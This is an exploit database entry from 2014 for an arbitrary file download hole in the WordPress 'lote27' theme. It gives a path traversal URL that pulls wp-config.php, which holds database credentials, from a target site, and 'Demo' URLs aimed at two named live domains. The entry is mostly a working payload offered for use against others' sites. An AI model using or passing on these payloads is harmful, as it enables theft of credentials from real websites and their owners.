WordPress lote27 theme Arbitrary File Download Vulnerability

2014-09-01T00:00:00
ID 1337DAY-ID-22572
Type zdt
Reporter alieye
Modified 2014-09-01T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Title : WordPress lote27 theme Arbitrary File Download Vulnerability
# Author : alieye
# designer Homepage : http://hyattinforma.com.br/
# Contact : [email protected]
# Risk : High
# Class: Remote
# Date: 01/09/2014
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++



You can download any file from your target ;)


exploit: http://victim.com/site/wp-content/themes/lote27/download.php?download=../../../wp-config.php


Demo:

http://www.lote27.com.br/site/wp-content/themes/lote27/download.php?download=../../../wp-config.php
http://hyattinforma.com.br/site/wp-content/themes/lote27/download.php?download=../../../wp-config.php


#++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , 3.14nnph , amir and all cseye members
[#] Thanks To All Iranian Hackers
[#] website : http://cseye.vcp.ir/
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++

#  0day.today [2018-04-10]  #